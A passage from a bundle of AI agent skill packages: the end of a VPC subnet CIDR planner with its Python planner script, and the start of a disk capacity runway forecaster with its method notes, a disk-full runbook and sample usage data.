Fix HIGH findings first: an overlap with a peer or VPN cannot be routed and usually means picking a new VPC range now, while it is cheap. Use `references/subnet-layout-playbook.md` to adjust the layout (equal-sized subnets per zone, a spare block per tier, room for a third zone) and `references/cidr-math-and-provider-rules.md` to explain sizes. Re-run after each change.

### 4. Deliver
Fill `templates/subnet-plan.md` with the table, free blocks, findings and decisions. Offer Terraform or CLI snippets for the final blocks if asked.

## Example result
For `examples/shop-platform-vpc.json` (AWS 10.20.0.0/18): app subnets of 2,500 pods +60% growth get /20s (4,091 usable each) at 10.20.16.0/20 and 10.20.32.0/20; load balancer and data subnets get /25s (123 usable). Findings: HIGH legacy rds-b 10.20.1.128/25 overlaps rds-a 10.20.1.0/24; HIGH the peered analytics VPC 10.20.48.0/20 sits inside this VPC, so routing to it breaks; LOW only 20% of the space is left free.

## Rules

- Never propose a range that overlaps a known peer, VPN or on-prem network; ask for the full list if unsure.
- Plan for growth and a future zone; resizing a subnet in place is usually impossible.
- Keep IPv4 math exact; show usable counts after the provider's reserved addresses.
- Do not change live networks yourself; give a plan and the order of changes for the user to apply.
FILE:references/cidr-math-and-provider-rules.md
# CIDR Math and Provider Rules

## Prefix sizes (IPv4)
| Prefix | Addresses | AWS / Azure usable (-5) | GCP usable (-4) | Classic usable (-2) |
|---|---|---|---|---|
| /16 | 65,536 | 65,531 | 65,532 | 65,534 |
| /18 | 16,384 | 16,379 | 16,380 | 16,382 |
| /19 | 8,192 | 8,187 | 8,188 | 8,190 |
| /20 | 4,096 | 4,091 | 4,092 | 4,094 |
| /21 | 2,048 | 2,043 | 2,044 | 2,046 |
| /22 | 1,024 | 1,019 | 1,020 | 1,022 |
| /23 | 512 | 507 | 508 | 510 |
| /24 | 256 | 251 | 252 | 254 |
| /25 | 128 | 123 | 124 | 126 |
| /26 | 64 | 59 | 60 | 62 |
| /27 | 32 | 27 | 28 | 30 |
| /28 | 16 | 11 | 12 | 14 |
Each step of one in the prefix halves or doubles the block. Addresses = 2^(32 - prefix).

## Alignment
A block must start on a multiple of its own size: a /20 starts at x.x.0.0, x.x.16.0, x.x.32.0, ...; 10.20.8.0/20 is invalid (host bits set). Allocating largest blocks first keeps the space unfragmented; small subnets placed first can block every aligned slot for a big one.

## Reserved addresses per subnet
- **AWS:** first four (network, VPC router, DNS, reserved) and the last (broadcast) -> 5. VPC CIDR /16 to /28, subnets /16 to /28. Up to 5 CIDR blocks per VPC by default (secondary CIDRs can add space later).
- **Azure:** first four (network, gateway, 2 x DNS) and the last -> 5. Subnets up to /29. Some services need dedicated subnets (GatewaySubnet /27 or larger, AzureFirewallSubnet /26, AzureBastionSubnet /26).
- **GCP:** network, gateway, second-to-last and broadcast -> 4. Subnets are regional (not zonal), /29 smallest; secondary ranges for GKE pods and services.
- **Classic / on-prem:** network and broadcast -> 2 (/31 point-to-point links are a special case).

## Private and special ranges
- RFC 1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.
- Carrier-grade NAT shared space 100.64.0.0/10 (RFC 6598): usable inside clouds, but check the ISP / VPN does not use it.
- Avoid: 172.17.0.0/16 (default docker0 bridge), 169.254.0.0/16 (link-local, cloud metadata), 192.168.0.0/24 and 192.168.1.0/24 (home routers, so VPN users clash), 10.0.0.0/16 (default VPC in many tools, so peers often clash).
- Public ranges inside a VPC make those internet addresses unreachable from it.

## Quick formulas
- Smallest prefix for N usable hosts with R reserved: 32 - ceil(log2(N + R)).
- Hosts with growth: ceil(hosts x (1 + growth)).
- Free space after a plan = VPC addresses - (existing + new + blocked peer ranges inside the VPC).
FILE:references/subnet-layout-playbook.md
# Subnet Layout Playbook

## Tiered layout per zone
| Tier | Holds | Typical size | Route |
|---|---|---|---|
| Public | load balancers, NAT gateways, bastion | /24 to /26 | internet gateway |
| Private app | VMs, containers, Kubernetes nodes and pods | largest, /20 to /22 | NAT gateway |
| Data | databases, caches, queues | /24 to /26 | no internet route |
| Spare | future tier or a third zone | keep one aligned block | - |
Use the same size per tier in every zone so a failover zone can carry the full load.

## Zone strategy
- At least two zones for anything production; three if the region and budget allow.
- Reserve the third zone's blocks now even if unused; it keeps the layout symmetrical.
- GCP subnets are regional, so plan per region instead of per zone.

## Sizing Kubernetes
- With AWS VPC CNI or Azure CNI every pod takes a VPC address: size app subnets by peak pods (nodes x max pods per node), plus surge during rolling updates (often +25%) and node replacement.
- Prefix delegation (AWS) or overlay networking (Calico, Cilium, kubenet, Azure CNI Overlay) moves pods to a separate range; then size by nodes and keep the pod CIDR clear of every peer.
- Keep the service CIDR (for example 172.20.0.0/16) clear of the VPC and peers too.

## Avoiding overlaps
- Collect every network you will ever route to: other VPCs and accounts, VPN clients, offices, partners, other clouds, and ranges used by acquired companies.
- Keep a central IP plan (spreadsheet or IPAM) and give each environment its own block, for example 10.20.0.0/16 prod, 10.21.0.0/16 staging, 10.22.0.0/16 dev.
- Do not pick 10.0.0.0/16, 172.17.0.0/16 or 192.168.0.0/24 to 192.168.1.0/24 for anything that VPN users reach.

## When something already overlaps
1. Prefer renumbering the smaller or newer side now (new VPC or a secondary CIDR, migrate, delete old).
2. If renumbering is impossible, use NAT (private NAT gateway, NAT on the VPN device) and route only translated ranges.
3. Overlapping subnets inside one VPC cannot be created on AWS / Azure / GCP; in documents they are usually typos, so verify the real values.

## Review checklist
- [ ] VPC range private and unique across all peers and VPNs
- [ ] every subnet aligned, inside the VPC and non-overlapping
- [ ] sizes include reserved addresses and growth
- [ ] same tier sizes in each zone; spare block kept
- [ ] at least 25% of the VPC left free
FILE:templates/subnet-plan.md
# Subnet Plan - <network name>

**Provider / region:** <aws eu-west-1>  **VPC CIDR:** <10.x.0.0/16>  **Owner:** <team>  **Date:** <date>
**Peers / VPNs checked:** <list of ranges>

## Subnets
| Subnet | Tier | Zone | Hosts now | Growth | CIDR | Usable | Route table |
|---|---|---|---|---|---|---|---|
| | | | | | | | |

## Existing subnets kept
| Name | CIDR | Notes |
|---|---|---|
| | | |

## Free space
- Used or blocked: <n> of <total> (<x>% free)
- Spare blocks reserved for: <third zone / future tier>

## Findings and decisions
| Severity | Finding | Decision |
|---|---|---|
| | | |

## Rollout order
1. <create secondary CIDR / new VPC>
2. <create subnets and route tables>
3. <migrate workloads, remove old subnets>
FILE:examples/shop-platform-vpc.json
{
  "name": "shop platform, eu-west-1 production VPC",
  "provider": "aws",
  "vpc_cidrs": ["10.20.0.0/18"],
  "existing": [
    {"name": "legacy bastion", "cidr": "10.20.0.0/26"},
    {"name": "legacy rds-a", "cidr": "10.20.1.0/24"},
    {"name": "legacy rds-b", "cidr": "10.20.1.128/25"}
  ],
  "peers": [
    {"name": "office VPN (Istanbul)", "cidr": "192.168.10.0/24"},
    {"name": "analytics VPC (peered)", "cidr": "10.20.48.0/20"}
  ],
  "requests": [
    {"name": "public-a (load balancers)", "hosts": 40, "zone": "eu-west-1a", "growth": 0.5},
    {"name": "public-b (load balancers)", "hosts": 40, "zone": "eu-west-1b", "growth": 0.5},
    {"name": "app-a (EKS pods)", "hosts": 2500, "zone": "eu-west-1a", "growth": 0.6},
    {"name": "app-b (EKS pods)", "hosts": 2500, "zone": "eu-west-1b", "growth": 0.6},
    {"name": "data-a (databases, cache)", "hosts": 60, "zone": "eu-west-1a"},
    {"name": "data-b (databases, cache)", "hosts": 60, "zone": "eu-west-1b"}
  ]
}
FILE:scripts/cidr_plan.py
#!/usr/bin/env python3
"""VPC subnet CIDR planner and checker (Python 3 standard library only).

Input: a network plan JSON file:
  {"name": "prod-eu", "provider": "aws", "vpc_cidrs": ["10.40.0.0/16"],
   "existing": [{"name": "legacy-db", "cidr": "10.40.8.0/24"}],
   "peers": [{"name": "office vpn", "cidr": "192.168.0.0/22"}],
   "requests": [{"name": "app-a", "hosts": 900, "zone": "eu-west-1a", "growth": 0.5}]}
  provider: aws | azure | gcp | generic. Reserved addresses per subnet: aws 5, azure 5,
  gcp 4, generic 2 (network + broadcast). Subnet size limits: aws /16../28,
  azure /8../29, gcp /8../29, generic /8../30.
  requests: hosts needed now; growth = extra fraction to reserve (default 0.3);
  optional "prefix" forces a size. Allocation is largest-first, aligned, lowest free address,
  never overlapping existing subnets or peer networks that sit inside the VPC.

Checks (severity):
  HIGH   OVERLAP_EXISTING   two existing subnets overlap
  HIGH   OUTSIDE_VPC        existing subnet not inside any VPC CIDR
  HIGH   PEER_OVERLAP       VPC CIDR overlaps a peered / VPN / on-prem network (routing breaks)
  HIGH   NO_SPACE           a request does not fit in the remaining space
  MEDIUM DOCKER_DEFAULT     VPC overlaps 172.17.0.0/16 (default docker0 bridge)
  MEDIUM PUBLIC_RANGE       VPC CIDR is not private (RFC 1918 / 100.64.0.0/10)
  MEDIUM PREFIX_LIMIT       requested or VPC prefix outside the provider limits
  LOW    LOW_HEADROOM       less than 25% of the VPC left free after the plan
  LOW    SINGLE_ZONE        all requests in one zone (no zone redundancy)
Usage:
  python3 cidr_plan.py plan.json
  python3 cidr_plan.py plan.json --json
  python3 cidr_plan.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import ipaddress as ip
import json
import math
import sys

RESERVED = {"aws": 5, "azure": 5, "gcp": 4, "generic": 2}
HEAD_RESERVED = {"aws": 4, "azure": 4, "gcp": 2, "generic": 1}  # rest are at the end of the block
LIMITS = {"aws": (16, 28), "azure": (8, 29), "gcp": (8, 29), "generic": (8, 30)}
PRIVATE = [ip.ip_network(c) for c in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "100.64.0.0/10")]
DOCKER = ip.ip_network("172.17.0.0/16")


class PlanError(ValueError):
    pass


def net(cidr, what="cidr"):
    try:
        n = ip.ip_network(str(cidr).strip(), strict=True)
    except ValueError as e:
        raise PlanError(f"bad {what} {cidr!r}: {e}")
    if n.version != 4:
        raise PlanError(f"only IPv4 is supported: {cidr!r}")
    return n


def usable(prefix, provider):
    return max(0, 2 ** (32 - prefix) - RESERVED[provider])


def prefix_for(hosts, provider, growth):
    need = math.ceil(hosts * (1 + growth))
    lo, hi = LIMITS[provider]
    for p in range(hi, lo - 1, -1):
        if usable(p, provider) >= need:
            return p
    return None


def find_slot(vpcs, taken, prefix):
    for v in vpcs:
        if prefix < v.prefixlen:
            continue
        for cand in v.subnets(new_prefix=prefix):
            if not any(cand.overlaps(t) for t in taken):
                return cand
    return None


def plan(cfg):
    provider = str(cfg.get("provider", "generic")).lower()
    if provider not in RESERVED:
        raise PlanError(f"unknown provider {provider!r} (aws, azure, gcp, generic)")
    vpcs = [net(c, "vpc_cidr") for c in cfg.get("vpc_cidrs") or []]
    if not vpcs:
        raise PlanError("vpc_cidrs is empty")
    lo, hi = LIMITS[provider]
    findings = []

    def f(sev, code, where, msg):
        findings.append({"severity": sev, "code": code, "where": where, "message": msg})

    for v in vpcs:
        if not any(v.subnet_of(p) for p in PRIVATE):
            f("MEDIUM", "PUBLIC_RANGE", str(v), "not an RFC 1918 or 100.64.0.0/10 range; it may clash with real internet addresses")
        if v.overlaps(DOCKER):
            f("MEDIUM", "DOCKER_DEFAULT", str(v), "overlaps 172.17.0.0/16, the default docker0 bridge; containers on hosts in this VPC may lose routes")
        if provider == "aws" and not (16 <= v.prefixlen <= 28):
            f("MEDIUM", "PREFIX_LIMIT", str(v), "AWS VPC CIDR blocks must be /16 to /28")
    for i, a in enumerate(vpcs):
        for b in vpcs[i + 1:]:
            if a.overlaps(b):
                raise PlanError(f"vpc_cidrs overlap each other: {a} and {b}")

    existing = []
    for e in cfg.get("existing") or []:
        n = net(e.get("cidr"), "existing cidr")
        name = e.get("name") or str(n)
        if not any(n.subnet_of(v) for v in vpcs):
            f("HIGH", "OUTSIDE_VPC", name, f"{n} is not inside {', '.join(map(str, vpcs))}")
        for other_name, o in existing:
            if n.overlaps(o):
                f("HIGH", "OVERLAP_EXISTING", name, f"{n} overlaps {other_name} {o}")
        existing.append((name, n))

    taken = [n for _, n in existing]
    for p in cfg.get("peers") or []:
        n = net(p.get("cidr"), "peer cidr")
        name = p.get("name") or str(n)
        for v in vpcs:
            if v.overlaps(n):
                f("HIGH", "PEER_OVERLAP", name, f"{n} overlaps VPC {v}; traffic to the overlapping range cannot be routed both ways (renumber one side or use NAT)")
                taken.append(n)

    reqs = []
    for r in cfg.get("requests") or []:
        name = r.get("name") or "subnet"
        hosts = r.get("hosts", 0)
        if not isinstance(hosts, int) or isinstance(hosts, bool) or hosts < 1:
            raise PlanError(f"request {name!r}: hosts must be a positive integer")
        growth = r.get("growth", 0.3)
        if not isinstance(growth, (int, float)) or growth < 0:
            raise PlanError(f"request {name!r}: growth must be >= 0")
        if "prefix" in r:
            pfx = r["prefix"]
            if not isinstance(pfx, int) or not 8 <= pfx <= 30:
                raise PlanError(f"request {name!r}: prefix must be an integer 8..30")
            if not lo <= pfx <= hi:
                f("MEDIUM", "PREFIX_LIMIT", name, f"/{pfx} is outside {provider} subnet limits /{lo}../{hi}")
        else:
            pfx = prefix_for(hosts, provider, growth)
        reqs.append({"name": name, "hosts": hosts, "growth": growth, "zone": r.get("zone", ""), "prefix": pfx})

    allocs = []
    order = sorted(range(len(reqs)), key=lambda i: (reqs[i]["prefix"] if reqs[i]["prefix"] is not None else -1, i))
    for i in order:
        r = reqs[i]
        slot = find_slot(vpcs, taken, r["prefix"]) if r["prefix"] is not None else None
        if slot is None:
            f("HIGH", "NO_SPACE", r["name"], f"needs {r['hosts']} hosts (+{round(r['growth'] * 100)}% growth) and no free aligned block is left")
            allocs.append(dict(r, cidr=None, usable=0))
            continue
        taken.append(slot)
        u = usable(slot.prefixlen, provider)
        tail = RESERVED[provider] - HEAD_RESERVED[provider]
        allocs.append(dict(r, cidr=str(slot), usable=u,
                           first=str(slot[HEAD_RESERVED[provider]]) if u else "-",
                           last=str(slot[-1 - tail]) if u else "-"))
        if u < r["hosts"]:
            f("HIGH", "NO_SPACE", r["name"], f"/{slot.prefixlen} gives only {u} usable addresses for {r['hosts']} hosts")
    allocs.sort(key=lambda a: (a["cidr"] is None, ip.ip_network(a["cidr"]) if a["cidr"] else 0))

    total = sum(v.num_addresses for v in vpcs)
    used = 0
    inside = [t for t in taken if any(t.subnet_of(v) for v in vpcs)]
    for t in ip.collapse_addresses(inside):
        used += t.num_addresses
    free = total - used
    free_blocks = []
    for v in vpcs:
        rest = [v]
        for t in ip.collapse_addresses([x for x in inside if x.subnet_of(v)]):
            nxt = []
            for b in rest:
                if t.subnet_of(b):
                    nxt.extend(b.address_exclude(t))
                elif not b.subnet_of(t):
                    nxt.append(b)
            rest = nxt
        free_blocks.extend(sorted(rest))
    if total and free / total < 0.25:
        f("LOW", "LOW_HEADROOM", "plan", f"only {free / total:.0%} of the VPC address space is left free")
    zones = {r["zone"] for r in reqs if r["zone"]}
    if len(reqs) > 1 and len(zones) == 1:
        f("LOW", "SINGLE_ZONE", "plan", f"all requests are in {zones.pop()}; spread subnets over at least two zones")
    rank = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
    findings.sort(key=lambda x: rank[x["severity"]])
    return {"name": cfg.get("name", "network plan"), "provider": provider, "vpcs": [str(v) for v in vpcs],
            "existing": [{"name": n, "cidr": str(c)} for n, c in existing],
            "allocations": allocs, "total": total, "used": used, "free": free,
            "free_blocks": [str(b) for b in free_blocks], "findings": findings}


def report(res):
    out = [f"# Subnet plan: {res['name']}", "",
           f"Provider: {res['provider']} (reserves {RESERVED[res['provider']]} addresses per subnet)  VPC: {', '.join(res['vpcs'])}", "",
           "| Subnet | Zone | Hosts now | Growth | CIDR | Usable | First host | Last host |", "|---|---|---|---|---|---|---|---|"]
    for a in res["allocations"]:
        out.append(f"| {a['name']} | {a['zone'] or '-'} | {a['hosts']} | {round(a['growth'] * 100)}% | {a['cidr'] or 'NOT PLACED'} | "
                   f"{a['usable']} | {a.get('first', '-')} | {a.get('last', '-')} |")
    if res["existing"]:
        out += ["", "Existing subnets kept: " + ", ".join(f"{e['name']} {e['cidr']}" for e in res["existing"])]
    pct = res["free"] / res["total"] if res["total"] else 0
    out += ["", f"Address space: {res['used']} of {res['total']} used or blocked, {res['free']} free ({pct:.0%})",
            "Largest free blocks: " + (", ".join(sorted(res["free_blocks"], key=lambda c: ip.ip_network(c).prefixlen)[:6]) or "none"),
            "", "## Findings"]
    if not res["findings"]:
        out.append("- none")
    for x in res["findings"]:
        out.append(f"- **{x['severity']} {x['code']}** ({x['where']}): {x['message']}")
    return "\n".join(out) + "\n"


def self_test():
    cases = []

    def ok(name, cond):
        cases.append(bool(cond))
        print(("PASS " if cond else "FAIL ") + name)

    ok("aws /24 usable 251", usable(24, "aws") == 251)
    ok("generic /24 usable 254", usable(24, "generic") == 254)
    ok("gcp /29 usable 4", usable(29, "gcp") == 4)
    ok("900 hosts +50% on aws -> /21", prefix_for(900, "aws", 0.5) == 21)
    ok("250 hosts no growth aws -> /24", prefix_for(250, "aws", 0) == 24)
    ok("252 hosts no growth aws -> /23", prefix_for(252, "aws", 0) == 23)
    ok("too big for aws -> None", prefix_for(70000, "aws", 0) is None)
    base = {"provider": "aws", "vpc_cidrs": ["10.0.0.0/16"]}
    r = plan(dict(base, requests=[{"name": "a", "hosts": 200, "zone": "z1"}, {"name": "b", "hosts": 1000, "zone": "z2"}]))
    cid = {a["name"]: a["cidr"] for a in r["allocations"]}
    ok("largest first gets lowest block", cid == {"b": "10.0.0.0/21", "a": "10.0.8.0/23"})
    ok("clean plan has no findings", r["findings"] == [])
    aa = [a for a in r["allocations"] if a["name"] == "a"][0]
    ok("first/last host skip aws reserved", (aa["first"], aa["last"]) == ("10.0.8.4", "10.0.9.254"))
    g = plan({"provider": "gcp", "vpc_cidrs": ["10.0.0.0/16"], "requests": [{"name": "a", "hosts": 100, "growth": 0}]})["allocations"][0]
    ok("gcp reserves 2 head + 2 tail", (g["cidr"], g["first"], g["last"]) == ("10.0.0.0/25", "10.0.0.2", "10.0.0.125"))
    r = plan(dict(base, existing=[{"name": "old", "cidr": "10.0.0.0/22"}], requests=[{"name": "a", "hosts": 1000}]))
    ok("allocation avoids existing", r["allocations"][0]["cidr"] == "10.0.8.0/21")
    r = plan(dict(base, existing=[{"name": "x", "cidr": "10.0.0.0/24"}, {"name": "y", "cidr": "10.0.0.128/25"}]))
    ok("overlap existing flagged", any(x["code"] == "OVERLAP_EXISTING" for x in r["findings"]))
    r = plan(dict(base, existing=[{"name": "x", "cidr": "10.1.0.0/24"}]))
    ok("outside vpc flagged", any(x["code"] == "OUTSIDE_VPC" for x in r["findings"]))
    r = plan(dict(base, peers=[{"name": "vpn", "cidr": "10.0.4.0/22"}], requests=[{"name": "a", "hosts": 900, "growth": 0}]))
    ok("peer overlap flagged", any(x["code"] == "PEER_OVERLAP" for x in r["findings"]))
    ok("allocation avoids peer range", r["allocations"][0]["cidr"] == "10.0.0.0/22")
    r = plan({"provider": "aws", "vpc_cidrs": ["10.0.0.0/24"], "requests": [{"name": "a", "hosts": 200}]})
    ok("no space flagged", any(x["code"] == "NO_SPACE" for x in r["findings"]))
    r = plan({"provider": "generic", "vpc_cidrs": ["172.16.0.0/12"]})
    ok("docker default flagged", any(x["code"] == "DOCKER_DEFAULT" for x in r["findings"]))
    r = plan({"provider": "generic", "vpc_cidrs": ["8.8.0.0/16"]})
    ok("public range flagged", any(x["code"] == "PUBLIC_RANGE" for x in r["findings"]))
    r = plan({"provider": "aws", "vpc_cidrs": ["10.0.0.0/8"]})
    ok("aws vpc /8 flagged", any(x["code"] == "PREFIX_LIMIT" for x in r["findings"]))
    r = plan({"provider": "aws", "vpc_cidrs": ["10.0.0.0/22"], "requests": [{"name": "a", "hosts": 400, "zone": "z1"}, {"name": "b", "hosts": 300, "zone": "z1"}]})
    ok("low headroom flagged", any(x["code"] == "LOW_HEADROOM" for x in r["findings"]))
    ok("single zone flagged", any(x["code"] == "SINGLE_ZONE" for x in r["findings"]))
    r = plan(dict(base, requests=[{"name": "a", "hosts": 10, "prefix": 30}]))
    ok("forced /30 on aws flagged", any(x["code"] == "PREFIX_LIMIT" for x in r["findings"]))
    r = plan(dict(base, requests=[{"name": "a", "hosts": 1000}]))
    ok("free blocks cover rest", sum(ip.ip_network(b).num_addresses for b in r["free_blocks"]) == 65536 - 2048)
    for bad, label in ((dict(base, vpc_cidrs=[]), "empty vpc"), (dict(base, vpc_cidrs=["10.0.0.1/16"]), "host bits set"),
                       (dict(base, provider="oracle"), "unknown provider"), (dict(base, requests=[{"hosts": 0}]), "zero hosts"),
                       (dict(base, vpc_cidrs=["10.0.0.0/16", "10.0.128.0/17"]), "overlapping vpcs"),
                       (dict(base, vpc_cidrs=["fd00::/48"]), "ipv6")):
        try:
            plan(bad)
            ok(label + " rejected", False)
        except PlanError:
            ok(label + " rejected", True)
    print(f"{sum(cases)}/{len(cases)} passed")
    return 0 if all(cases) else 1


def main(argv=None):
    ap = argparse.ArgumentParser(description="Plan and check VPC subnet CIDR blocks.")
    ap.add_argument("file", nargs="?", help="network plan JSON")
    ap.add_argument("--json", action="store_true", help="print machine-readable JSON")
    ap.add_argument("--self-test", action="store_true")
    a = ap.parse_args(argv)
    if a.self_test:
        return self_test()
    if not a.file:
        ap.error("give a plan JSON file or --self-test")
    try:
        cfg = json.load(open(a.file, encoding="utf-8"))
        res = plan(cfg)
    except (OSError, json.JSONDecodeError, PlanError) as e:
        print(f"error: {e}", file=sys.stderr)
        return 2
    print(json.dumps(res, indent=2) if a.json else report(res), end="" if not a.json else "\n")
    return 1 if any(x["severity"] == "HIGH" for x in res["findings"]) else 0


if __name__ == "__main__":
    sys.exit(main())

---
name: disk-capacity-runway-forecaster
description: Forecasts when disks and volumes will fill up from usage samples (CSV of timestamp, volume, used and size). Fits overall and last-week growth rates, removes one-off jumps from the trend, and gives days and dates to 80, 90, 95 and 100% full plus a size that keeps 90 days of headroom. Flags volumes filling soon, accelerating growth, sudden jumps, noisy trends and thin data. Includes a stdlib Python forecaster with --self-test.
---

# Disk Capacity Runway Forecaster

You help on-call engineers and sysadmins answer "when will this disk fill up, and what should we do before then?" From usage samples exported from monitoring (Prometheus, CloudWatch, Datadog, Zabbix, a cron job running `df`), you compute the runway for each volume, rank volumes by urgency, explain why a forecast can be wrong, and propose concrete fixes: clean up, rotate, resize or move data.

## Files in this skill

- `scripts/disk_runway.py` - reads a CSV of samples, fits growth rates, and prints a ranked runway table with findings and suggested sizes (Python 3 standard library only)
- `references/forecasting-method.md` - how the trend, recent rate, one-off jumps, runway and suggested size are computed, and the limits of a linear forecast
- `references/disk-full-runbook.md` - finding what grows, safe cleanups, log and backup retention, resizing on Linux and in the cloud, alert thresholds
- `templates/capacity-review.md` - a capacity review to share with the team or attach to a ticket
- `examples/fleet-disk-usage.csv` - three weeks of daily samples for four volumes: a steady database, a log volume with rotation, a CI runner speeding up and a backup NAS with a one-off jump

## Workflow

### 1. Collect samples
Ask for at least a week (better 3-4 weeks) of samples per volume: timestamp, volume (host:mount), used GB and size GB. Example sources: Prometheus `node_filesystem_size_bytes - node_filesystem_avail_bytes`, CloudWatch `disk_used_percent` with the volume size, or `df -BG --output=target,used,size` from cron. Also ask what lives on each volume and about known events (migrations, new backups, releases).

### 2. Run the forecaster
```
python3 scripts/disk_runway.py examples/fleet-disk-usage.csv
python3 scripts/disk_runway.py usage.csv --horizon 180 --json
python3 scripts/disk_runway.py --self-test
```
Exit code 1 means a CRITICAL or HIGH volume, 2 means bad input.

### 3. Explain and act
Start with CRITICAL and HIGH volumes. For each, say what is growing and how fast, the date it hits 90% and 100%, and the fastest safe action from `references/disk-full-runbook.md`. Treat NOISY_TREND and FEW_SAMPLES results as rough. For SUDDEN_JUMP, confirm the cause (a new backup set, a database dump, a log burst) before planning around it. Use `references/forecasting-method.md` to explain why the recent rate may win over the long-term trend.

### 4. Deliver
Fill `templates/capacity-review.md` with the table, actions, owners and dates, and suggest alert thresholds (for example a warning at 80% or 14 days of runway, a page at 90% or 3 days).

## Example result
For `examples/fleet-disk-usage.csv` (last samples 2026-10-21 06:00): ci-runner01:/ is HIGH, already at 80% and growing 5.6 GB/day in the last week vs 2.1 overall, 90% in 3.6 days and full by 2026-10-28; db01:/var/lib/postgresql grows a steady 3 GB/day and reaches 80% in 13.3 days (MEDIUM, suggested 790 GB); backup-nas had a one-off +405.6 GB jump on 2026-10-16 that is not extrapolated, leaving 120 days to 80%; web01:/var/log is OK but noisy (log rotation).

## Rules

- Never suggest deleting data without saying exactly what, how to check it is safe, and how to recover; prefer rotation, compression, retention policies and resizing.
- Say which rate a date is based on and that linear forecasts miss sudden events.
- Times in the report follow the timestamps in the data; say which time zone they are in.
- Do not run cleanup or resize commands on live systems yourself; give the commands for the user to review.
FILE:references/forecasting-method.md
# Forecasting Method

## Inputs
One row per sample: `timestamp,volume,used_gb,size_gb`. Rows may be unsorted and mixed across volumes. The latest `size_gb` is used, so a resize during the window is handled.

## Growth rates
- **Overall rate:** least-squares slope of used GB over time (GB/day) across all samples. R^2 (0 to 1) says how well a straight line fits: about 1.0 for steady growth, under 0.5 for sawtooth patterns such as log rotation or temp files.
- **Recent rate:** the same slope over the last 7 days (or the last third of the data when there are less than 14 days). It catches growth that has just sped up.
- **Runway rate:** the worse (higher) of the two. When the recent rate is more than 1.5 times the overall rate, the volume is flagged ACCELERATING.

## One-off jumps
A step between two samples larger than 5% of the volume size is treated as a one-off event (a new backup set, a restored dump, a large upload). It stays in the current usage but is removed from the trend: later points are shifted down by the jump minus a typical step, so a single event is not extrapolated forever. The jump is reported as SUDDEN_JUMP so a person can confirm it really was one-off. If it repeats (a weekly full backup), keep longer data so the pattern becomes part of the trend, or plan the next jump explicitly.

## Runway
For each threshold T in 80, 90, 95 and 100%:
`days = (T x size - used now) / runway rate`, counted from the last sample. Zero means the threshold is already passed; "never" means usage is flat or falling.
Dates are the last sample time plus the days, in the same time zone as the data.

## Suggested size
The smallest multiple of 10 GB that keeps usage under 80% for the horizon (default 90 days):
`size >= (used now + runway rate x horizon) / 0.8`, and never smaller than the current size.
Example: 128 GB used, 2 GB/day, 180 days -> (128 + 360) / 0.8 = 610 GB.

## Status levels
| Status | Rule |
|---|---|
| CRITICAL | 95% or more used, or full within 7 days |
| HIGH | 90% within 14 days |
| MEDIUM | 80% within 30 days, or accelerating, or a sudden jump |
| OK | none of the above |

## Limits
- A straight line cannot see future events: a migration, a new customer, a log level left on DEBUG.
- Filesystems often misbehave before 100%: ext4 reserves about 5% for root, databases need free space for vacuum, compaction or index builds, and some write paths fail at 90-95%.
- Inode exhaustion (`df -i`) can fill a disk with plenty of free GB; forecast inodes the same way if many small files are written.
- Thin-provisioned and shared storage (LVM thin pools, SAN, Ceph) can fill underneath a volume that looks fine.
FILE:references/disk-full-runbook.md
# Disk Full Runbook

## 1. Find what grows
```
df -h /mount; df -i /mount                       # space and inodes
sudo du -xh --max-depth=2 /mount | sort -h | tail -20
sudo find /mount -xdev -type f -size +1G -mtime -7 -exec ls -lh {} +
sudo lsof +L1                                    # deleted files still held open
journalctl --disk-usage
docker system df                                 # images, containers, volumes, build cache
```
Deleted-but-open files keep their space until the process restarts or reopens the log.

## 2. Safe quick wins (check before deleting)
| Source | Action |
|---|---|
| Application logs | logrotate with `compress`, `maxsize`, `rotate N`; ship logs to central storage |
| systemd journal | `journalctl --vacuum-size=1G`, set `SystemMaxUse=` |
| Docker / CI runners | `docker image prune -a --filter until=168h`, `docker builder prune`; clear runner work dirs |
| Package caches | `apt-get clean`, `dnf clean all`, old kernels |
| Database | archive or drop old partitions, `VACUUM` / table repack, check WAL or binlog retention and stuck replication slots |
| Backups | apply the retention policy; move old sets to object storage or cold tier |
| Core dumps, heap dumps, tmp | remove after the incident owner confirms |
Never `rm` a file a database is using; never clear WAL or binlogs by hand.

## 3. Resize
- **AWS EBS:** modify the volume size, wait for the optimizing state, then `sudo growpart /dev/nvme0n1 1` and `sudo resize2fs /dev/nvme0n1p1` (ext4) or `sudo xfs_growfs /mount` (xfs). One size increase per 6 hours per volume.
- **Azure managed disk / GCP persistent disk:** increase the size (Azure may need the VM deallocated for some disks), then grow the partition and filesystem the same way.
- **LVM:** `lvextend -r -L +100G vg/lv` grows the filesystem too.
- **Kubernetes PVC:** edit `spec.resources.requests.storage` when the StorageClass has `allowVolumeExpansion: true`.
Volumes can grow but rarely shrink, so size to the forecast, not far beyond it.

## 4. Alerts that give time to act
- Warn at 80% used or 14 days of runway; page at 90% or 3 days of runway (Prometheus: `predict_linear(node_filesystem_avail_bytes[6h], 4*3600) < 0` style rules).
- Alert on inode use above 85%.
- Review capacity monthly with this skill's report; add growth from planned launches by hand.
FILE:templates/capacity-review.md
# Capacity Review - <service / fleet> - <date>

**Data:** <source>, <first sample> to <last sample> (<time zone>)  **Horizon:** <90> days  **Reviewer:** <name>

## Runway
| Volume | Status | Used | Size | Growth GB/day (overall / recent) | 90% on | Full on | Suggested size |
|---|---|---|---|---|---|---|---|
| | | | | | | | |

## What is growing
| Volume | Main consumer | Evidence | One-off or ongoing |
|---|---|---|---|
| | | | |

## Actions
| Volume | Action | Owner | Due | Gain |
|---|---|---|---|---|
| | | | | |

## Alerts
- Warning: <80% or 14 days runway>  - Page: <90% or 3 days runway>  - Inodes: <85%>

## Next review
<date>; re-run the forecaster with fresh samples
FILE:examples/fleet-disk-usage.csv
timestamp,volume,used_gb,size_gb
2026-10-01T06:00,db01:/var/lib/postgresql,300.0,500
2026-10-01T06:00,web01:/var/log,21.0,100
2026-10-01T06:00,ci-runner01:/,110.0,200
2026-10-01T06:00,backup-nas:/srv/backups,2100.0,4000
2026-10-02T06:00,db01:/var/lib/postgresql,303.4,500
2026-10-02T06:00,web01:/var/log,24.4,100
2026-10-02T06:00,ci-runner01:/,111.4,200
2026-10-02T06:00,backup-nas:/srv/backups,2105.4,4000
